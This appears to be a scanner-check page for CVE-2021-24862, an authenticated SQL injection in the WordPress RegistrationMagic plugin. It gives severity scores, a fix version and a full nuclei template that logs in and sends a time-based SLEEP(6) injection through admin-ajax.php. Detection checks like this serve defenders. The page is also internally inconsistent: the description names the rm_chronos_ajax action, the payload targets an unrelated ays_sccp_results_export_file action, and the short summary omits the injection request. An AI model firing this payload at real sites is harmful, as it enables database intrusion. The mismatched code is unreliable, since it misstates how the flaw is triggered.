WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection

highseverity

7.2CVSS score

72.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.

Impact

An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in version 5.0.1.6.

How to confirm it

Send: POST /wp-login.php ; @timeout: 10s ; GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js
Positive when: duration_2>=6 and status_code_2 == 200 and contains(body_3, "rm_user_role_mananger_form")

Run it with nuclei: nuclei -id CVE-2021-24862 -u <target>

The full check

id: CVE-2021-24862

info:
  name: WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
  impact: |
    An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 5.0.1.6.
  reference:
    - https://wpscan.com/vulnerability/7d3af3b5-5548-419d-aa32-1f7b51622615
    - https://wordpress.org/plugins/custom-registration-form-builder-with-submission-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24862
    - http://packetstormsecurity.com/files/165746/WordPress-RegistrationMagic-V-5.0.1.5-SQL-Injection.html
    - https://github.com/ezelnur6327/ezelnur6327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24862
    cwe-id: CWE-89
    epss-score: 0.72677
    epss-percentile: 0.9945
    cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,wpscan,wp-plugin,wordpress,wp,registrationmagic,sqli,authenticated,packetstorm,metagauss,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "rm_user_role_mananger_form")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from